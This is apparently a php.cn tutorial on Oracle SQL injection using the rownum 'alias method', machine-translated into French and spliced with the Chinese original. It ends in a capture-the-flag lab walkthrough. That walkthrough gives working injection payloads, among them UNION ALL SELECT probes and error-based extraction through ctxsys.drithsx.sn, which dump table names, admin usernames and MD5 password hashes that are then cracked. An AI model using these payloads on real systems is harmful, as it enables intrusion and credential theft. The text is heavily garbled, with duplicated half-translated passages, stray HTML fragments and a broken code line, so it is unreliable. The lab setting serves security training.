Maison  >  Article  >  base de données  >  Exemple détaillé de l'utilisation de la méthode alias dans l'injection de base de données Oracle

Exemple détaillé de l'utilisation de la méthode alias dans l'injection de base de données Oracle

WBOY
WBOYavant
2022-05-07 11:52:542274parcourir

Cet article vous apporte des connaissances pertinentes sur Oracle, qui présente principalement l'explication détaillée de l'utilisation de la méthode alias dans l'injection de base de données Oracle, y compris les instructions de base des informations de requête Oracle, les caractéristiques du numéro de ligne, etc., comme suit. Prenons jetez-y un coup d'oeil ensemble, j'espère que cela sera utile à tout le monde.

Exemple détaillé de l'utilisation de la méthode alias dans l'injection de base de données Oracle

Tutoriel recommandé : "Tutoriel vidéo Oracle"

1. Introduction à Oracle Database

Oracle Database, également connu sous le nom d'Oracle RDBMS, ou Oracle en abrégé. Cette base de données est un produit d'Oracle. Elle possède des fonctions puissantes et des opérations complexes. Son utilisation est gratuite mais le service est payant. Actuellement, il est généralement utilisé par les grandes entreprises en Chine, telles que les banques, les institutions financières et les entreprises du pays. industrie du Big Data.

Résumé des fonctionnalités d'Oracle : 
1. Oracle doit suivre le nom de la table lors de l'utilisation du langage de requête pour obtenir des informations. Ceci est similaire à Access. S'il n'y a pas de table, vous pouvez utiliser la table double d'Oracle. qui est utilisé pour former la syntaxe des règles de sélection, Oracle garantit qu'il n'y aura toujours qu'un seul enregistrement dans dual. Si vous l'interrogez directement, il n'affichera qu'un Le type de données à la position correspondante est cohérent avec le type de données de. la colonne du tableau. NULL peut également être utilisée pour remplacer certaines positions de types de données qui ne peuvent pas être rapidement devinées. Ceci est similaire à SQL Server. 3. Oracle est différent de MySQL. Il n'y a pas de limite en matière de pagination, mais l'imbrication de requêtes à trois niveaux est utilisée pour implémenter la pagination ; 4. Les symboles de commentaires sur une seule ligne d'Oracle sont des symboles de commentaires sur plusieurs lignes ; Tables, ces tables système stockent les noms de tables et les noms de colonnes de la base de données système, tels que user_tab_columns, all_tab_columns, all_tables, user_tables. La table système stocke toutes les tables et noms de colonnes de l'utilisateur, où table_name représente le nom de la table dans le système. . , column_name est le nom de colonne qui existe dans le système ;
6. Oracle utilise des chaînes d'épissage (représentées par un encodage dans l'URL), et la fonction peut également réaliser l'épissage de deux chaînes ; affaiblis, les utilisateurs ont été renforcés et ils se distinguent principalement par les utilisateurs. La compréhension simple est que le nom d'utilisateur actuel est équivalent au nom de la bibliothèque dans d'autres bases de données.



2. Introduction à l'aliasing


(1) Déclarations de base pour les informations de requête Oracle

select * from all_tables Interroger toutes les tables

select * from user_tables Interroger tout tables de l'utilisateur actuel

select * from all_tab_columns Interrogez tous les champs

select * from user_tab_columns Interrogez les champs de l'utilisateur actuelselect * from all_tables 查询所有的表
select * from user_tables 查询当前用户的所有表
select * from all_tab_columns 查询所有字段
select * from user_tab_columns 查询当前用户的字段
select * from v$version 查当前使用的Oracle版本

(二)rownum的特性

由于在Oracle中不存在limit,所以查询特定的数据需要用rownum来进行选择。比如先输入:
select * from all_tables
Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle
看到页面输出了相当多的数据,但是大部分都不是我们需要的,那么假设我只想要前4条数据,那么修改语句如下:
select * from all_tables where rownum<code>select * from v$version Vérifiez la version d'Oracle actuellement utilisée <br><img src="https://img.php.cn/upload/article/000/000/067/a290750748b99d965d0baa9b5c7497da-1.png" alt="Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle"> (2) Caractéristiques du rownum <br><br> Comme il n'y a pas de limite dans Oracle, vous devez utiliser rownum pour sélectionner lors de l'interrogation de données spécifiques. Par exemple, saisissez d'abord :

select * from all_tables🎜Insérer la description de l'image ici🎜 Nous voyons que la page génère beaucoup de données, mais la plupart ne correspondent pas à ce dont nous avons besoin. Donc, en supposant que je ne veuille que les 4 premiers éléments de données, modifiez l'instruction comme suit. : 🎜select * from all_tableswhere rownum🎜🎜🎜 Donc, en supposant que nous n'avons besoin que de la deuxième donnée, pouvons-nous entrer où rownum=2 ? Ne peut pas. En effet, rownum n'est pas le nom du champ d'une table, mais le numéro de ligne du résultat de la requête. Chaque fois qu'il y a un résultat dans la requête, la première ligne, la deuxième ligne, la troisième ligne, etc. seront par défaut. Ce rownum est le numéro de ligne, n'appartient pas à un certain champ, donc rownum est un pseudo exemple qui commence toujours par 1, rownum>n, lorsque n>1, la condition ne peut pas être établie. Pour cette situation, deux méthodes peuvent être utilisées, à savoir la méthode des inégalités et la méthode des alias. 🎜 Lorsque nous utilisons des instructions de requête, nous demandons souvent de renvoyer les n premiers enregistrements de la table ou les enregistrements du milieu. Par exemple, dans une grande table (en supposant qu'il y ait 1W éléments de données), nous devons interroger les 1000e au 1005e enregistrements. Face à ce genre d’enquête, que faire ? Chaque base de données a sa propre solution. Par exemple, dans MySQL, la commande limit est utilisée pour paginer les résultats, dans MSSQL, TOP est utilisée pour paginer les résultats, et Oracle utilise principalement la commande rownum pour résoudre ce problème. Voyons comment afficher les données spécifiées dans Oracle. 🎜<h2>(3) Méthode différente</h2> <p>Entrez cette commande dans la plateforme d'exploration Oracle en ligne (ici pour interroger tous les champs de l'utilisateur actuel) : <br><code>select* from user_tab_columnsselect* from user_tab_columns
Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle
结果中显示了当前的所有表和和相应的字段名,假如我只想显示ADMIN表中的内容,可以输入:
select* from user_tab_columns where table_name='ADMIN'
Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle
假如我只想显示第二条数据,该怎么输入呢?直接加个条件rownum=2显然是不行的,这里就可以利用不等法来查询了:
select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAME'UNAME
Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle
从这里我们也可以看出,不等于法是存在弊端的,只有当数据量非常少时,才可以用这种方法。当数据量非常大时,就需要用到下面介绍的别名法了。

(四)别名法

来看一下这个语句:
select column_name,rownum n from user_tab_columns
Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle
这句话执行查询列名以后,会把查询结果从上到下从1开始按顺序进行编号,但是由于rownum本身不是字段,所以这里起了个别名为n。这样这个查询语句的作用就是:查询列名及每个列名对应的行号,并将行号统一存储在n这个字段里面。
注意这个时候虽然我们新建了一个字段n用来存储行号,但是此时如果马上在后面加上一个条件,比如where n=7是不行的,因为这条语句需要执行完才有n这个字段,所以想要用n这个字段来查询信息的话,就需要把这个语句作为一个整体,放在其他语句的子查询里,这样句子执行完了,有n这个字段了,然后才能被其他句子使用。
现在我们先查询ADMIN表里面有几个字段,这么输入:
select column_name,rownum n from user_tab_columns where table_name='ADMIN'Insérer la description de l'image ici
Les résultats montrent toutes les tables actuelles et les noms de champs correspondants, si seulement je souhaitez afficher le contenu de la table ADMIN, je peux saisir : Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracleselect* from user_tab_columnswhere table_name='ADMIN'
Insérer la description de l'image ici
Si je souhaite afficher uniquement la deuxième donnée, comment dois-je la saisir ? Il n'est évidemment pas possible d'ajouter directement la condition rownum=2 Ici, vous pouvez utiliser la méthode d'inégalité pour interroger :

select* from user_tab_columns où table_name='ADMIN' et COLUMN_NAME'UNAME. De là, nous pouvons également voir, Le La méthode des inégalités présente des inconvénients. Cette méthode ne peut être utilisée que lorsque la quantité de données est très faible. Lorsque la quantité de données est très importante, la méthode d'alias présentée ci-dessous doit être utilisée. select column_name,rownum n from user_tab_columnsInsérer la description de l'image ici Après avoir exécuté le nom de la colonne de la requête, les résultats de la requête seront numérotés de haut en bas à partir de 1, mais depuis rownum en lui-même n'est pas un champ, il est ici surnommé n. De cette façon, la fonction de cette instruction de requête est d'interroger les noms de colonnes et les numéros de ligne correspondant à chaque nom de colonne, et de stocker les numéros de ligne uniformément dans le champ n. Notez que même si nous avons créé un nouveau champ n pour stocker le numéro de ligne à ce moment-là, cela ne fonctionnera pas si nous ajoutons une condition immédiatement après, comme où n=7, car cette instruction doit être exécutée avant le champ. n sera disponible. , donc si vous souhaitez utiliser le champ n pour interroger des informations, vous devez placer cette instruction dans son ensemble dans la sous-requête des autres instructions. De cette façon, une fois la phrase exécutée, le champ n est disponible. , et ensuite il peut être utilisé par d’autres phrases. Maintenant, demandons combien de champs il y a dans la table ADMIN. Entrez ceci : Les résultats de la requête ici obtiendront deux noms de champs. . Le numéro de ligne est l'alias n que nous avons pris, donc le premier champ est le nom réel du champ et le deuxième champ est l'alias n que nous avons pris. Par exemple, le résultat de la sous-requête est : nom du champnuméro de ligne2cc3jj
(4) Méthode d'alias Regardez cette déclaration :
select column_name,rownum n from user_tab_columns which table_name='ADMIN'
🎜4🎜🎜🎜🎜

Ensuite, entrez simplement :
sélectionnez * dans la sous-requête où n=2, et vous pouvez obtenir les données bb De même, pour les données que vous souhaitez, faites simplement en sorte que n soit égal au nombre correspondant.
Par conséquent, tant que cette phrase est écrite comme une sous-requête et que l'instruction de requête externe est utilisée pour interroger les résultats de cette sous-requête, en définissant n=2, le deuxième champ peut être obtenu, alors saisissez :
select * from (sélectionnez nom_colonne, numéro de ligne n depuis user_tab_columns où nom_table='ADMIN')où n=2select * from (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle
成功查询到第二个字段。
注意:别名法给rownum取名为n时,标准的写法是用rownum as n ,简洁一点是直接rownum n,中间用空格隔开即可。
查询字段的时候可以用别名法,那么查询表名的时候可以用吗?答案是肯定的。
举例:
select table_name,rownum n from user_tables
Exemple détaillé de lutilisation de la méthode alias dans linjection de base de données Oracle
可见给表起别名和给字段起别名是一样的,用法实际上也差不多,这里不再赘述。


三、靶场实操

上面讲的只是理论基础,实际操作的时候就没那么容易了,我们找个靶场来实际操作一下看看。
以封神台为例,地址在http://o1.lab.aqlab.cn/?id=1

(一)判断是否SQL注入

进入靶场,看到地址栏有GET传参,当然是先试一下是否存在SQL输入了:
在id=1后面输入:
and 1=1 ,页面回显正常
and 1=2 ,页面回显异常
把id=1改成id=2-1,页面回显正常。
说明必然存在SQL注入。

(二)查询当前页面字段数

实战中,我们并不知道目标网站是什么数据库,所以何必管那么多,当成MYSQL来搞就好了,所以这里先查询字段数:
输入 order by 1 页面回显正常;
输入 order by 5 页面回显异常;
输入 order by 4 页面回显正常;
输入 order by 5Insérer la description de l'image ici
Le deuxième champ a été interrogé avec succès.

Remarque : lorsque la méthode alias est utilisée pour nommer rownum n, la manière standard d'écrire est rownum comme n Pour être plus concis, juste rownum n, séparé par des espaces.

Vous pouvez utiliser la méthode alias lors de l'interrogation de champs, mais pouvez-vous l'utiliser lors de l'interrogation de noms de tables ? La réponse est oui.

Exemple :

sélectionnez table_name,rownum n from user_tables

Insérer la description de l'image ici

On peut voir que l'alias de la table est la même chose que l'alias du champ. L'utilisation est en fait similaire, je n'entrerai donc pas dans les détails ici.


3. Fonctionnement pratique au stand de tir

Ce qui précède n'est que la base théorique. Ce n'est pas si simple en fonctionnement réel. Prenez Fengshentai comme exemple, l'adresse est http://o1.lab.aqlab.cn/?id=1

(1) Déterminez si l'injection SQL


Entrez dans le champ de tir, vous verrez les paramètres GET dans l'adresse barre, bien sûr Essayez d'abord de voir s'il y a une entrée SQL :

Entrez après id=1 :

et 1=1, l'écho de la page est normal
et 1=2, l'écho de la page est anormal

Remplacez id=1 par id =2-1 , l'écho de la page est normal.

Cela signifie qu'il doit y avoir une injection SQL.


(2) Interrogez le nombre de champs sur la page actuelle

En combat réel, nous ne savons pas de quelle base de données est le site Web cible, alors pourquoi s'embêter avec tant de choses ? Il suffit de le traiter comme MYSQL, donc ici, nous interrogeons d'abord le nombre de champs :

Entrez order par 1 et la page s'affichera Normal ; Entrez order by 5 et la page reviendra anormalement ;
Entrez order by 4 et la page s'affichera. revenez normalement ;

Entrez order by 5 et la page renverra Anormal.

Indique que le nombre de champs sur la page actuelle est de 4.

(3) Essayez une requête conjointe

Entrez après id=1 :

union all select 1,2,3,4
La page résonne anormalement. Il semble que la base de données ne soit définitivement pas MySQL, alors essayez de changer le numéro en null :
union all select null,null,null,null from dual
La page résonne normalement. Il semble que la base de données cible ait des exigences grammaticales très strictes. Déterminons maintenant quels sont les types de données des quatre champs. Entrez :
union all select 111,null,null,null from dual

La page renvoie la normale, indiquant que le premier champ est de type numérique. Appuyez sur ctrl+u pour afficher le code source de la page Web, recherchez 111 et ne voyez aucun désalignement évident.

Essayez de faire en sorte que la page actuelle signale une erreur pour voir s'il y a un désalignement de l'affichage :

and 1=2 union all select 111,null,null,null from dual
Aucun désalignement d'affichage évident n'est observé. Continuez à taper :
and 1=2 union all select 111,111,null,null from dual
La page renvoie une exception, indiquant que le deuxième champ n'est pas de type numérique.

Continuez à taper :

and 1=2 union all select 111,'aa',null,null from dual
La page renvoie une exception, indiquant que le deuxième champ n'est pas de type chaîne.

En fait, la base de données Oracle contient de nombreux types de données, tels que des valeurs numériques, des chaînes, des dates, des binaires et du texte volumineux. Il existe également des types subdivisés. Il est assez fastidieux d'essayer un par un, je vais donc les ignorer ici. 🎜 Il en va de même pour le troisième champ. On constate qu'il ne s'agit ni d'un nombre ni d'une chaîne, et qu'il n'y a pas de désalignement évident. 🎜 Continuez à interroger le quatrième champ : 🎜
and 1=2 union all select 111,null,null,111111 from dual
🎜 et constatez que la page affiche une nouvelle heure. 🎜🎜🎜🎜 Quand on voit une heure comme celle-ci, il faut penser à un horodatage, car les ordinateurs commencent à compter les secondes à partir de 8 heures le 1er janvier 1970. 🎜🎜 (4) Nom de la table de requête 🎜🎜 Utilisez la fonction d'injection d'erreur pour interroger des informations, entrez : 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
🎜 Remarque : l'injection d'erreur ne peut renvoyer qu'une chaîne au lieu d'une table, il doit donc y avoir une limite plus tard, c'est-à-dire rownum =1, prend uniquement une ligne de données, et le 1 entre parenthèses de la fonction peut être remplacé par autre chose, soit une valeur numérique, soit une chaîne. 🎜🎜🎜 Obtenez le nom de la table 🎜ADMIN🎜🎜 Continuez à saisir : 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name'ADMIN'))
🎜🎜🎜🎜 et obtenez la deuxième table 🎜NEWS🎜. 🎜 Ensuite, lors de l'interrogation d'autres tables, vous ne pouvez plus utiliser la méthode d'inégalité. Utilisez plutôt la méthode d'alias mentionnée ci-dessus pour construire une instruction de base, puis modifiez la valeur de n pour déterminer le nom de la table qui n'a pas encore été créée. interrogé : 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))
🎜Déterminez enfin le courant. Les tables utilisateur sont : 🎜ADMIN, NEWS, MD5🎜🎜

(五)查询字段名

接下来查询字段,ADMIN表显然更可能有我们想要查询的信息,因此先查询ADMIN表的内容,输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))


得到第一个字段名为:UNAME
把n改为2继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))


得到第二个字段为UPASS
把n改为3,继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))


得到第三个字段为MD5
把n改为4,继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))

没有结果了。可见ADMIN表中的字段为:UNAME、UPASS、MD5

(六)根据字段查询具体数据

字段和表名都有了,接下来查询具体的数据,为了方便,还是用别名法来查询:

and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))

注意报错函数的特殊性,因此这里不能用*来代替UNAME。
通过改变n的值可以得到UNAME中的全部用户名为:OCI、NF、QQ123。
用同样的方法继续查询UPASS字段的内容,输入:

and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))

改变n的值可以得到UPASS字段的三条记录分别为:
e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后结果分别为:
123456、未查到、654321

(七)提交flag

把每个md5值都提交到靶场,最终确定flag为:
2a61f8bcfe7535eadcfa69eb4406ceb9


四、小结

渗透测试人员在进行数据库注入时,总是会遇到查询指定数据的问题,对于不同的数据库虽然查询方法大同小异,但是很多细节如果没有搞好是很难完成渗透的,这就需要每一位渗透测试人员夯实理论基础,掌握每一种常用的方法,在面临实际问题的时候才能游刃有余。

本文重点介绍了Oracle数据库的特点以及注入时常用的别名法,分享了别名法在靶场中实操的过程,并分享了一个在线执行Oracle命令的平台希望能够为各位同行或爱好者解决相关问题提供参考。

推荐教程:《Oracle视频教程

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer